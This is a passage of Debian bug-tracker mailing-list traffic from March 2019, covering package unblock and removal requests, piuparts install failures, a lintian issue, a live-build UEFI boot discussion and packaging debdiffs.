"go", "test", "-vet=off", "-v", get_targets(), @_)
```

IIUC, this won't break anything.

- --
Shengjing Zhu

-BEGIN PGP SIGNATURE-

iQFEBAEBCgAuFiEE85F2DZP0aJKsSKyHONAPABi+PjUFAlyDq9kQHHpoc2pAZGVi
aWFuLm9yZwAKCRA40A8AGL4+NXD5B/4/Va6IWfeVzJEXjnkVNCdSNqSE8s4n1tn6
s0l+D/thqbbWx64dafROKl2wsBFfgvzBeS0zn222wmLAssFBHCVpn1oJFi2D4r28
esUgK4681ZARhUcM8OcVwxWoMoT069ZNJX8AwQtDlOPfvRBRBiKCOz4UljlC5Cac
j7Pq8h6uMeAoLHOeBwI9PGKvhOPmmsSSUrCQ7YN6amUam8qmJ6yL8HGHLB9VR4x+
hYqhuIZSCblGS96cqE4/fJfGnPaQIMKoXL1kzmBqwnKUvK127zcwk9nceRpZFGft
PINE64nXXOAaGx0IuakhvleTz2OLI5rDY3vKfMZvaDt9IVt22UrZ
=ioBi
-END PGP SIGNATURE-

Bug#922996: ca-certificates-java 20170929~deb9u2 flagged for acceptance

[Adam D Barratt]

Control: tags -1 + pending

Hi,

The upload referenced by this bug report has been flagged for acceptance into 
the proposed-updates queue for Debian stretch.

Thanks for your contribution!

Upload details
==

Package: ca-certificates-java
Version: 20170929~deb9u2

Explanation: fix bashisms in postinst and jks-keystore

Bug#923342: kauth 5.28.0-2+deb9u1 flagged for acceptance

[Adam D Barratt]

Control: tags -1 + pending

Hi,

The upload referenced by this bug report has been flagged for acceptance into 
the proposed-updates queue for Debian stretch.

Thanks for your contribution!

Upload details
==

Package: kauth
Version: 5.28.0-2+deb9u1

Explanation: fix insecure handling of arguments in helpers [CVE-2019-7443]

Bug#924082: lintian: missing-build-dependency triggered for dh-sequence

[Jeremy Bicha]

Source: lintian
Version: 2.10.0

debhelper 12 supports a new special dh-sequence- build-depends feature
[1]. For instance, a Build-Depends on dh-sequence-gnome (a virtual
package provided by gnome-pkg-tools) will automatically pass the
'--with gnome' option to dh without needing that to be specified in
debian/rules.

The lintian tags need to be updated for this. For instance, here's the
lintian errors I got with totem 3.32.0-1 targeted at experimental. The
final error "missing-build-dependency gnome-pkg-tools" triggered an
auto-reject.


E: totem source: missing-build-dependency-for-dh_-command dh_python3
=> dh-python
E: totem source: missing-build-dependency-for-dh_-command
dh_girepository => gobject-introspection
E: totem source: missing-build-dependency gnome-pkg-tools


So if you find the dh_python3 helper is being used, a Build-Depends on
dh-sequence-python3 should satisfy the requirement.

If you can, I'm requesting that this issue be fixed for Buster since a
growing number of packages will be using dh-sequence.

[1] https://manpages.debian.org/unstable/dh#OPTIONS

Thanks,
Jeremy Bicha

Bug#923740: unblock: pacemaker/2.0.1-1

[Jonathan Wiltshire]

On Tue, Mar 05, 2019 at 09:45:26AM +0100, Paul Gevers wrote:
> I propose you let 2.0.1~rc5-1 migrate to testing, upload 2.0.1-1 to
> unstable after that, provide us with a debdiff between 2.0.1~rc5-1 and
> 2.0.1-1 in this bug report and we'll look at that diff. That way, the
> review is much more trivial for us. Please remove the moreinfo tag once
> we are there.

~rc5-1 just migrated.

HTH,



-- 
Jonathan Wiltshire  j...@debian.org
Debian Developer http://people.debian.org/~jmw

4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC  74C3 5394 479D D352 4C51

Bug#903759: 903759: marking as pending

[Andrius Merkys]

control: tags -1 + pending

Hello,

the bug is fixed in salsa, marking the bug as pending.

Andrius

Bug#924083: unblock: swi-prolog/8.0.2+dfsg-1

[Lev Lamberov]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

Please unblock package swi-prolog

Currently there is 8.0.1+dfsg-1 in testing and 8.0.2+dfsg-1 in
unstable. These are two versions of SWI-Prolog current stable branch,
upstream's branch 8.1.X is development branch. There are no API
changes or any incompatibilities between 8.0.1 and 8.0.2, only bug
fixes. Also there are no new features or anything like that. I'd like
to stress that there are somewhat lots of bugs, which were fixed in
8.0.2, including crashes and buffer overruns (that is, bugs possibly
affecting security). You may check changes in git log of upstream git
repository [upstream] (changes between 8.0.1 and 8.0.2 start from
1e7c2e9a8283dcd4b56bb98512b45f601a628d5e commit).

[upstream] https://github.com/SWI-Prolog/swipl/

Please, find the debdiff attached. It is big, but a part of it is due
to documentation generation when upstream releases a new version.
Sorry for inconvenience.

With regards,
Lev Lamberov

unblock swi-prolog/8.0.2+dfsg-1

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.19.0-2-amd64 (SMP w/4 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=ru_RU.UTF-8, LC_CTYPE=ru_RU.UTF-8 (charmap=UTF-8), 
LANGUAGE=ru_RU.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
diff -Nru swi-prolog-8.0.1+dfsg/boot/init.pl swi-prolog-8.0.2+dfsg/boot/init.pl
--- swi-prolog-8.0.1+dfsg/boot/init.pl  2019-01-25 20:43:37.0 +0500
+++ swi-prolog-8.0.2+dfsg/boot/init.pl  2019-03-05 16:53:38.0 +0500
@@ -168,6 +168,8 @@
 '$hide'(Pred) :-
 '$set_predicate_attribute'(Pred, trace, false).
 
+:- '$iso'(((dynamic)/1, (multifile)/1, (discontiguous)/1)).
+
 
 /
 *   CALLING, CONTROL*
@@ -3588,6 +3590,12 @@
 '$convert_option_value'(integer, String, Value) :-
 (   number_string(Value, String)
 ->  true
+;   sub_string(String, 0, _, 1, SubString),
+sub_string(String, _, 1, 0, Suffix0),
+downcase_atom(Suffix0, Suffix),
+number_string(Number, SubString),
+'$suffix_multiplier'(Suffix, Multiplier)
+->  Value is Number * Multiplier
 ;   '$domain_error'(integer, String)
 ).
 '$convert_option_value'(callable, String, Value) :-
@@ -3601,6 +3609,11 @@
 '$convert_option_value'(ground, String, Value) :-
 atom_string(Value, String).
 
+'$suffix_multiplier'(b, 1).
+'$suffix_multiplier'(k, 1024).
+'$suffix_multiplier'(m, 1024 * 1024).
+'$suffix_multiplier'(g, 1024 * 1024 * 1024).
+
 
  /***
  * TYPE SUPPORT *
diff -Nru swi-prolog-8.0.1+dfsg/boot/messages.pl 
swi-prolog-8.0.2+dfsg/boot/messages.pl
--- swi-prolog-8.0.1+dfsg/boot/messages.pl  2019-01-25 20:43:37.0 
+0500
+++ swi-prolog-8.0.2+dfsg/boot/messages.pl  2019-03-05 16:53:38.0 
+0500
@@ -762,26 +762,6 @@
  *  GC  *
  ***/
 
-prolog_message(gc(start)) -->
-thread_context,
-[ 'GC: ', flush ].
-prolog_message(gc(done(G, T, Time, UG, UT, RG, RT))) -->
-[ at_same_line,
-  'gained ~D+~D in ~3f sec; used ~D+~D; free ~D+~D'-
-  [G, T, Time, UG, UT, RG, RT]
-].
-prolog_message(shift_stacks(start(_L,_G,_T))) -->
-thread_context,
-[ 'Stack-shift: ', flush ].
-prolog_message(shift_stacks(done(Time, L, G, T))) -->
-{ LKB is L//1024,
-  GKB is G//1024,
-  TKB is T//1024
-},
-[ at_same_line,
-  'local: ~DKB, global: ~DKB, trail: ~DKB bytes (~2f sec)'-
-  [LKB, GKB, TKB, Time]
-].
 prolog_message(agc(start)) -->
 thread_context,
 [ 'AGC: ', flush ].
diff -Nru swi-prolog-8.0.1+dfsg/boot/tabling.pl 
swi-prolog-8.0.2+dfsg/boot/tabling.pl
--- swi-prolog-8.0.1+dfsg/boot/tabling.pl   2019-01-25 20:43:37.0 
+0500
+++ swi-prolog-8.0.2+dfsg/boot/tabling.pl   2019-03-05 16:53:38.0 
+0500
@@ -333,6 +333,7 @@
 { atom(Name), integer(Arity), Arity >= 0,
   !,
   functor(Head, Name, Arity),
+  check_undefined(Name/Arity),
   atom_concat(Name, ' tabled', WrapName),
   Head =.. [Name|Args],
   WrappedHead =.. [WrapName|Args],
@@ -350,6 +351,7 @@
   !,
   functor(ModeDirectedSpec, Name, Arity),
   functor(Head, Name, Arity),
+  check_undefined(Name/Arity),
   atom_concat(Name, ' tabled', WrapName),
   Head =.. [Name|Args],
   WrappedHead =.. [WrapName|Args],
@@ -373,6 +375,20 @@
 { '$type_error'(table_desclaration, TableSpec)
 }.
 
+%!  check_undefined(+PI)
+%
+%   Verify the predicate has no clauses when the :- table is declared.
+%
+%   @tbd: fut

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[Thomas Schmitt]

Hi,

adrian15 wrote:
> 2.1.1)  The live cd media will be the first one to be found by the
> grub's search command. That's ok, that will work in most systems.

I always wondered why debian-cd and debian-live rely on file paths
with such low entropy. No individual distinction between versions is
recognizable. So two live ISOs in two DVD drives or USB sticks could cause
quite some confusion.


> 4) And, well, I might try an obvious patch that searches with regex both
> /live/vmlinuz and /live/vmlinuz1 and give us more feedback about it.

Or a dedicated unique identification file path ?

An empty file in an alreay existing directory would cost 0 or 2048 bytes
in the ISO.
Even in a conservative 8.3 name it would be possible to expose 56 bit
with a birthday paradox threshold of 256 million. A plain hex encoding
could expose 44 bit of random id (~ 4 million children in the class).

If reproducibility is of concern, then the filename could be derived
from some version-dependent strings like the ISO's volume id. All
mangled through md5sum and tr 'a-f' 'A-F', the first eleven result
characters would yield a quasi-unique DOS style file name.


Have a nice day :)

Thomas

Bug#924084: RM: jasperreports/6.3.1-2

[Andrej Shadura]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: rm

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Current jasperreports in Debian fails to build from source with all Java
versions starting from 9 due to the Java modules issue (see #912467), and
I was unable to fix it, but on the other hand it has a bunch of security
issues, so it probably isn’t fit for the release as Markus suggested.

I intend to (temporarily) remove the support for jasperreports from
libspring-java, but that would apparently require an unblock.

I’m Ccing Emmanuel and Damien so that they have a chance to object.

[0]: https://security-tracker.debian.org/tracker/source-package/jasperreports

- -- 
Cheers,
  Andrej

-BEGIN PGP SIGNATURE-

iQJTBAEBCAA9FiEE47V74F4CWMP6ghzXtke0/0DsYwMFAlyDt6sfHGFuZHJldy5z
aGFkdXJhQGNvbGxhYm9yYS5jby51awAKCRC2R7T/QOxjA597D/4/8h15vwOv/Wwy
T2gJZE7P9L83Ibdree6lf/CQR3ktfM+PG3br98kjMsDW23jaSzhuyxFYEYKMq/IG
X5MYBj+18LeJqlXM5AGrdP7TBmMSA5K3fa/ZNplrEyJ7jm8Sj7EZOMZBrL6YU3/C
3JiVoCZAPOJF46kKbPbKl3N3Qob4FtDmaWIK/YhE+glPA2nvTICUwlV8oYdYBmtV
dLis9eVANathEiciD0bPApVgjpSkaZVFVTx3ewR1IqlixWw5E/6XIS2kxjMajn1K
0Z/lxZd2yehz0XzxfYoDZJl0Es3E1NXoRhp0w/ztgtgNiy3svSOK/IfYRH+ScZYu
SDGsOtliHF4Frk2b0oSUeZgGEct0Cmv3SekdbShtXvbMBg+UKyzdFkSb9d3InKNA
QwApgca3585NBuoYTx66r5uCfWtB31oXlv5tnEefKiV6N2oBoyYNuVrKL2wbqrui
2U+KmRQdqMeTYqN//SdT3k90L/3udMYh0ab6SMUDuO4/ihcujTIsPIzorgPtqKSp
6H6DNekg2nW7y+i/0dwhlNj1chEBjFSmZyVQJtGDqbfrGe65vfU5Hjkngpgsib3J
6+UoB/kCKpkGCObuJjvHuQnqsxKl1L21rA1RmZ3q0f15GG6qLpLch008lE/ZaYA2
zX7kQzmPFuixjWDexFhGGIEfp/fxiQ==
=HMcz
-END PGP SIGNATURE-

Bug#924086: ITP: python-irodsclient -- python3 API module for iRODS

[olivier sallou]

Package: wnpp
Severity: wishlist
Owner: Olivier Sallou 
X-CC: python-modules-t...@lists.alioth.debian.org

* Package name: python-irodsclient
  Version : 0.8.1
  Upstream Author : The University of North Carolina at Chapel Hill
* URL : https://github.com/irods/python-irodsclient
* License : BSD-3
  Programming Lang: Python
  Description : python3 API module for iRODS

iRODS is an open source distributed data management system.
This is a client API implemented in Python.

Bug#924085: unblock: gnome-keyring/3.28.2-4

[Simon McVittie]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

Please unblock package gnome-keyring, primarily to fix RC bug #891297
by updating the copyright file (thanks to Louis-Philippe Véronneau).

I've also included the patches that Iain Lane included in the 3.28.2-3
upload to experimental, which fix build-time test failures (FTBFS) with
GLib 2.59. These are not directly relevant to buster, but the bug that
they fix (assumptions made about hash table order) was always wrong in
principle, and will become significant if we backport bullseye's GLib
during buster's lifetime.

unblock gnome-keyring/3.28.2-4

Thanks,
smcv
diffstat for gnome-keyring-3.28.2 gnome-keyring-3.28.2

 changelog   |   20 
 control |4 
 control.in  |2 
 copyright   |  462 
++
 gbp.conf|4 
 patches/egg-Write-Proc-Type-header-before-DEK-Info.patch|   80 
+
 patches/gkm-mock-Also-store-objects-in-the-order-they-are-taken.patch   |  229 

 patches/secret-store-Sort-fields-alphabetically-before-outputting.patch |   86 
+
 patches/series  |3 
 9 files changed, 718 insertions(+), 172 deletions(-)

diff -Nru gnome-keyring-3.28.2/debian/changelog 
gnome-keyring-3.28.2/debian/changelog
--- gnome-keyring-3.28.2/debian/changelog   2018-12-24 14:54:29.0 
+
+++ gnome-keyring-3.28.2/debian/changelog   2019-03-09 12:00:46.0 
+
@@ -1,3 +1,23 @@
+gnome-keyring (3.28.2-4) unstable; urgency=medium
+
+  * Team upload
+  * Select debian/buster and upstream/3.28.x branches
+  * Release to unstable
+
+ -- Simon McVittie   Sat, 09 Mar 2019 12:00:46 +
+
+gnome-keyring (3.28.2-3) experimental; urgency=medium
+
+  [ Louis-Philippe Véronneau ]
+  * Update copyright file (Closes: #891297)
+
+  [ Iain Lane ]
+  * Cherry-pick some upstream patches to fix build failures with GLib 2.59
+gnome-keyring assumed that hash table iteration order was stable. It's
+not, and GLib exposed that.
+
+ -- Iain Lane   Fri, 08 Feb 2019 17:46:06 +
+
 gnome-keyring (3.28.2-2) unstable; urgency=medium
 
   * Run dh_auto_test instead of make check
diff -Nru gnome-keyring-3.28.2/debian/control 
gnome-keyring-3.28.2/debian/control
--- gnome-keyring-3.28.2/debian/control 2018-12-24 14:54:29.0 +
+++ gnome-keyring-3.28.2/debian/control 2019-03-09 12:00:46.0 +
@@ -6,7 +6,7 @@
 Section: gnome
 Priority: optional
 Maintainer: Debian GNOME Maintainers 

-Uploaders: Dmitry Shachnev , Jeremy Bicha 
, Michael Biebl , Tim Lunn 

+Uploaders: Dmitry Shachnev , Iain Lane , 
Jeremy Bicha , Tim Lunn 
 Build-Depends: debhelper (>= 11),
ca-certificates,
dbus,
@@ -29,7 +29,7 @@
python,
 Standards-Version: 4.3.0
 Vcs-Browser: https://salsa.debian.org/gnome-team/gnome-keyring
-Vcs-Git: https://salsa.debian.org/gnome-team/gnome-keyring.git
+Vcs-Git: https://salsa.debian.org/gnome-team/gnome-keyring.git -b debian/buster
 Homepage: https://wiki.gnome.org/GnomeKeyring
 
 Package: gnome-keyring
diff -Nru gnome-keyring-3.28.2/debian/control.in 
gnome-keyring-3.28.2/debian/control.in
--- gnome-keyring-3.28.2/debian/control.in  2018-12-24 14:54:29.0 
+
+++ gnome-keyring-3.28.2/debian/control.in  2019-03-09 12:00:46.0 
+
@@ -25,7 +25,7 @@
python,
 Standards-Version: 4.3.0
 Vcs-Browser: https://salsa.debian.org/gnome-team/gnome-keyring
-Vcs-Git: https://salsa.debian.org/gnome-team/gnome-keyring.git
+Vcs-Git: https://salsa.debian.org/gnome-team/gnome-keyring.git -b debian/buster
 Homepage: https://wiki.gnome.org/GnomeKeyring
 
 Package: gnome-keyring
diff -Nru gnome-keyring-3.28.2/debian/copyright 
gnome-keyring-3.28.2/debian/copyright
--- gnome-keyring-3.28.2/debian/copyright   2018-12-24 14:54:29.0 
+
+++ gnome-keyring-3.28.2/debian/copyright   2019-03-09 12:00:46.0 
+
@@ -1,180 +1,308 @@
-This package was debianized by Ondřej Surý  on
-Tue, 23 Mar 2004 12:21:43 +0100.
-
-It was downloaded from https://download.gnome.org/sources/gnome-keyring/
-
-Upstream Authors: Alexander Larsson 
-  Stef Walter 
+Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
+Upstream-Name: gnome-keyring
+Upstream-Contact: Alexander Larsson 
+  Stefan Walter 
+Source: https://download.gnome.org/sources/gnome-keyring/
+
+Files: *
+Copyright: 2007-2011, Collabora Ltd
+   1991-1999, Free Software Foundation, Inc
+   2007, Nokia Corporation
+   1995-1997, Peter Mattis, Spencer Kimball and Josh MacDonald
+   2017-2

Bug#922647: Info received (Bug#922647: systemd --user no longer running)

[Julien Leproust]

Hi,

I found the issue.

When looking for /etc files not belonging to any package, I discovered 
that /etc/pam.d/common-* files are managed by pam-auth-update.


Most pam profiles were enabled, except "Register user sessions in the 
systemd control group hierarchy", and just enabling it fixed the 
problem. The systemd user service and logind session are now correctly 
started and everything works fine (device permissions, pulseaudio, etc).


The real issue becomes why this pam profile got disabled in the first place.

Thanks everyone for your help.

Best regards,

--
Julien Leproust

Bug#924088: python3-pyqt5.qtwebengine: missing Breaks+Replaces: pyqt5-dev (<< 5.12)

[Andreas Beckmann]

Package: python3-pyqt5.qtwebengine
Version: 5.12-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'sid' to 'experimental'.
It installed fine in 'sid', then the upgrade to 'experimental' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/ch-relationships.html#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Preparing to unpack .../python3-pyqt5.qtwebengine_5.12-1_amd64.deb ...
  Unpacking python3-pyqt5.qtwebengine (5.12-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/python3-pyqt5.qtwebengine_5.12-1_amd64.deb (--unpack):
   trying to overwrite '/usr/share/sip/PyQt5/QtWebEngine/QtWebEnginemod.sip', 
which is also in package pyqt5-dev 5.11.3+dfsg-1
  Errors were encountered while processing:
   /var/cache/apt/archives/python3-pyqt5.qtwebengine_5.12-1_amd64.deb


cheers,

Andreas


pyqt5-dev=5.11.3+dfsg-1_python3-pyqt5.qtwebengine=5.12-1.log.gz
Description: application/gzip

Bug#924087: Package textdraw description typo

[Eliran Gonen]

Package: textdraw
Version: 0.2+ds-0+nmu1build2

In the first line it looks like “ do draw “ should have been “ to draw “.

I originally use Ubuntu and opened a bug report in their tracker but I noticed 
the same typo also applies in the Debian stretch package description and even 
possibly other Debian releases.

Bug#921760: shim-signed: FTBFS (shimx64.efi.signed build/shimx64.efi.signed differ)

[Steve McIntyre]

On Fri, Feb 08, 2019 at 09:19:01PM +, Santiago Vila wrote:
>Package: src:shim-signed
>Version: 1.28+nmu1
>Severity: serious
>Tags: ftbfs
>
>Dear maintainer:
>
>I tried to build this package in buster but it failed:
>
>
>[...]
> debian/rules build-arch
>dh build-arch
>   dh_update_autotools_config -a
>   dh_auto_configure -a
>   dh_auto_build -a
>   make -j1
>make[1]: Entering directory '/<>/shim-signed-1.28+nmu1'
>make[1]: Nothing to be done for 'all'.
>make[1]: Leaving directory '/<>/shim-signed-1.28+nmu1'
>   dh_auto_test -a
>   make -j1 check
>make[1]: Entering directory '/<>/shim-signed-1.28+nmu1'
>mkdir -p build
># Verifying that the image is signed with the correct key.
>sbverify --cert MicCorUEFCA2011_2011-06-27.crt shimx64.efi.signed
>warning: data remaining[1044456 vs 1169528]: gaps between PE/COFF sections?
>Signature verification OK
># Verifying that we have the correct binary.
>sbattach --detach build/detached-sig shimx64.efi.signed 
>warning: data remaining[1044456 vs 1169528]: gaps between PE/COFF sections?
>cp /usr/lib/shim/shimx64.efi build/shimx64.efi.signed
>sbattach --attach build/detached-sig build/shimx64.efi.signed
>warning: data remaining[1035776 vs 1160847]: gaps between PE/COFF sections?
>warning: data remaining[1035776 vs 1160848]: gaps between PE/COFF sections?
>Signing Unsigned original image
>cmp shimx64.efi.signed build/shimx64.efi.signed
>shimx64.efi.signed build/shimx64.efi.signed differ: char 217, line 2
>make[1]: *** [Makefile:11: check] Error 1
>make[1]: Leaving directory '/<>/shim-signed-1.28+nmu1'
>dh_auto_test: make -j1 check returned exit code 2
>make: *** [debian/rules:7: build-arch] Error 2
>dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit 
>status 2
>
>
>(The above is just how the build ends and not necessarily the most relevant 
>part)
>
>The build was made in my autobuilder with "dpkg-buildpackage -B"
>and it also fails here:
>
>https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/shim-signed.html
>
>where you can get a full build log if you need it.

This is a known feature of the versions of the sbsigntool utilities we
used. :-(

We *cannot* fix this bug directly at the moment by changing the older
version of shim we're using for now, as that would break the Microsoft
signature.

I've just uploaded a new shim which is reproducible, so that should
*hopefully* cause this bug to be fixed before buster release if we get
the new version signed in time.

For now, I've asked a friendly local release team person to tag this
so we don't get removed before then.

-- 
Steve McIntyre, Cambridge, UK.st...@einval.com
Welcome my son, welcome to the machine.


signature.asc
Description: PGP signature

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

El 09/03/19 a las 13:46, Thomas Schmitt escribió:
>> 4) And, well, I might try an obvious patch that searches with regex both
>> /live/vmlinuz and /live/vmlinuz1 and give us more feedback about it.
> 
> Or a dedicated unique identification file path ?
> 
> An empty file in an alreay existing directory would cost 0 or 2048 bytes
> in the ISO.
> Even in a conservative 8.3 name it would be possible to expose 56 bit
> with a birthday paradox threshold of 256 million. A plain hex encoding
> could expose 44 bit of random id (~ 4 million children in the class).
> 
> If reproducibility is of concern, then the filename could be derived
> from some version-dependent strings like the ISO's volume id. All
> mangled through md5sum and tr 'a-f' 'A-F', the first eleven result
> characters would yield a quasi-unique DOS style file name.
> 
> 
> Have a nice day :)
> 
> Thomas

1)
Well, guess what happened... my obvious patch:
https://github.com/rescatux/live-build/commit/52bb32989078b9a724c13e73a0ac87673d728199

which basically replaces:

search --set=root --file /live/vmlinuz

by:

if ! search --set=root --file /live/vmlinuz ; then
search --set=root --file /live/vmlinuz1
fi

does not boot in my computer because it's still finding /live/vmlinuz in
the internal hard disk.

Of course I could reverse the logic:

if ! search --set=root --file /live/vmlinuz1 ; then
search --set=root --file /live/vmlinuz
fi

but who assures me that in the future there is an scenario where:

* Debian Live CD uses /live/vmlinuz
and
* HP internal disk Live CD uses /live/vmlinuz1

and it breaks again?

2) I think there is something different from Secure Boot enable boot to
non-Secure Boot that triggers this fallback to minimal grub.cfg scenario.

Else I would have found these problem when in one my tests I skipped the
overwriting of .efi files with the signed ones.

3) I'll try to code this dedicated unique identification file path that
you are proposing and see if it works better.

Then I want to compare grub hard disks / devices being detected with
Secure Boot enabled and Secure Boot disabled.

So that we can conclude if this fallback to minimal grub.cfg is
inevitable and attached to Secure Boot or if it's a Secure Boot bug itself.



adrian15
-- 
Support free software. Donate to Super Grub Disk. Apoya el software
libre. Dona a Super Grub Disk. http://www.supergrubdisk.org/donate/

Bug#924089: RM: openhft-chronicle-threads/1.1.6-1

[Andrej Shadura]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: rm

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

This package fails to build from source (#917738), and unlike with some
other openhft packages, I am not able to get it fixed. I’ve spent days
fixing openhft for Apertis, and my conclusion was that it’s not worth
doing so without getting the upstream to fix things for Java 9—11—12
first.

Unfortunately, removing this package means dropping
openhft-chronicle-queue and openhft-chronicle-network which transitively
depend on it, and also projectreactor and, if I don’t remove the support
for projectreactor in Spring, also libspring-java — but I do have a
patch to do just that.

- -- 
Cheers,
  Andrej

-BEGIN PGP SIGNATURE-

iQFIBAEBCAAyFiEEeuS9ZL8A0js0NGiOXkCM2RzYOdIFAlyDvjUUHGFuZHJld3No
QGRlYmlhbi5vcmcACgkQXkCM2RzYOdKYLQgAu9QAtnH4zwQ/H+RJVTgmlTIBOebt
+62RyWBYl/NPo7+fAKABEXDdH75rF+efcJM672fRXjH/+AkHS8C5vKVasRgz1vP8
v8hhwIMai3jVCTPg8D7Fk2ND3NKaMP/U75C+R42i9HWB8GyA8ZLH4k3Zrj5XS21H
FUEcbxTGBXXorX4aUeLBMt+f1PBh5PAqC8oWIj+SMNfA/A3h/mEobFvDzebC9dFu
ux5gXeXumalNILBGk/khi7rBTnU0t4J9Fb/k3L0FJjp7kE712TOkjd17Vm2b7R/4
qa7y3CLDXbJuVGHlvZCyL0ZQrqVrj967gcoStsU4V1wh8npbnqdbTx3Qvg==
=S3aR
-END PGP SIGNATURE-

Bug#924090: flang-7: fails to install: update-alternatives: unknown option '--'

[Andreas Beckmann]

Package: flang-7
Version: 20181226-4
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install. As
per definition of the release team this makes the package too buggy for
a release, thus the severity.

>From the attached log (scroll to the bottom...):

  Setting up flang-7 (20181226-4) ...
  update-alternatives: unknown option '--'
  
  Use 'update-alternatives --help' for program usage information.
  dpkg: error processing package flang-7 (--configure):
   installed flang-7 package post-installation script subprocess returned error 
exit status 2
  Processing triggers for libc-bin (2.28-8) ...
  Errors were encountered while processing:
   flang-7


cheers,

Andreas


flang-7_20181226-4.log.gz
Description: application/gzip

Bug#924091: www.debian.org: News/2019/20190308.wml points to www.debian.org using HTTP instead of HTTPS

[Rafa]

Package: www.debian.org
Severity: minor

Dear Maintainers,

Page News/2019/20190308.wml, as of commit
ce517877a62210aca2c6dcfa4431f2ccb43c22da, points, in the "Contact
Information" section, to www.debian.org using http://. I guess it should
use https:// instead.

Regards,

Rafa.



signature.asc
Description: PGP signature

Bug#892512: scribus: Eyedropper tool is not working

[Jérôme Marant]

Hi,

I'm still experiencing the problem.
I purged the package, removed my configuration and reinstalled it but it 
doesn't change anything.

Regards,
Jérôme.

- Mail original -
De: "Mattia Rizzolo" 
À: "Jérôme Marant" , 892...@bugs.debian.org
Envoyé: Lundi 11 Février 2019 15:33:54
Objet: Re: Bug#892512: scribus: Eyedropper tool is not working

Control: tag -1 moreinfo unreproducible

Hi,

I'm sorry for leaving this bug unattended for nearly a whole year.

On Fri, Mar 09, 2018 at 10:54:07PM +0100, Jérôme Marant wrote:
> The eyedropper tool currently does not work.
> Clicking on it should show a dialog asking for a new color
> name.
> 
> It used to work one year ago. It is quite strange since the package has
> not been updated since october 2016. Could it be possible that some
> libraries it depends on be broken?

I've just tried, and using the eyedropper tool does ask me for a colour
name.

Could you please try again?  I'm not sure what could have happened...

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
more about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-

Bug#924092: open-infrastructure-container-tools: leaves alternatives after purge: /usr/share/open-infrastructure/container/scripts/default

[Andreas Beckmann]

Package: open-infrastructure-container-tools
Version: 20190304-1
Severity: important
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package left unowned files on
the system after purge, which is a violation of policy 6.8:

https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#details-of-removal-and-or-configuration-purging

The leftover files are actually alternatives that were installed by the
package but have not been properly removed.

While there is ongoing discussion how to remove alternatives correctly
(see https://bugs.debian.org/71621 for details) the following strategy
should work for regular cases:
* 'postinst configure' always installs the alternative
* 'prerm remove' removes the alternative
* 'postrm remove' and 'postrm disappear' remove the alternative
In all other cases a maintainer script is invoked (e.g. upgrade,
deconfigure) the alternatives are not modified to preserve user
configuration.
Removing the alternative in 'prerm remove' avoids having a dangling link
once the actual file gets removed, but 'prerm remove' is not called in
all cases (e.g. unpacked but not configured packages or disappearing
packages) so the postrm must remove the alternative again
(update-alternatives gracefully handles removal of non-existing
alternatives).

Note that the arguments for adding and removing alternatives differ, for
removal it's 'update-alternatives --remove  '.

Filing this as important as having a piuparts clean archive is a release
goal since lenny.

>From the attached log (scroll to the bottom...):

0m28.7s ERROR: WARN: Broken symlinks:
  /usr/share/open-infrastructure/container/scripts/default -> 
/etc/alternatives/container_script
  /etc/alternatives/container_script -> 
/usr/share/open-infrastructure/container/scripts/mmdebstrap

0m32.9s INFO: Warning: Package purging left files on system:
  /etc/alternatives/container_script -> 
/usr/share/open-infrastructure/container/scripts/mmdebstrap  not owned
  /usr/share/open-infrastructure/owned by: 
open-infrastructure-container-tools
  /usr/share/open-infrastructure/container/  owned by: 
open-infrastructure-container-tools
  /usr/share/open-infrastructure/container/scripts/  owned by: 
open-infrastructure-container-tools
  /usr/share/open-infrastructure/container/scripts/default -> 
/etc/alternatives/container_script not owned


cheers,

Andreas


open-infrastructure-container-tools_20190304-1.log.gz
Description: application/gzip

Bug#908427: nzbget depends on libjs-twitter-bootstrap that will not be in buster

[Andreas Beckmann]

Followup-For: Bug #908427
Control: found -1 21.0~r2296+dfsg-1
Control: notfound -1 libjs-twitter-bootstrap

Hi,

the dependency on libjs-twitter-bootstrap was removed, but the fix seems
to be incomplete since the package now ships broken symlinks:

  /usr/share/nzbget/webui/lib/bootstrap.min.js -> 
../../../javascript/twitter-bootstrap/js/bootstrap.min.js (nzbget)
  /usr/share/nzbget/webui/lib/bootstrap.js -> 
../../../javascript/twitter-bootstrap/js/bootstrap.js (nzbget)
  /usr/share/nzbget/webui/lib/bootstrap.css -> 
../../../javascript/twitter-bootstrap/css/bootstrap.css (nzbget)


Andreas


nzbget_21.0~r2296+dfsg-1.log.gz
Description: application/gzip

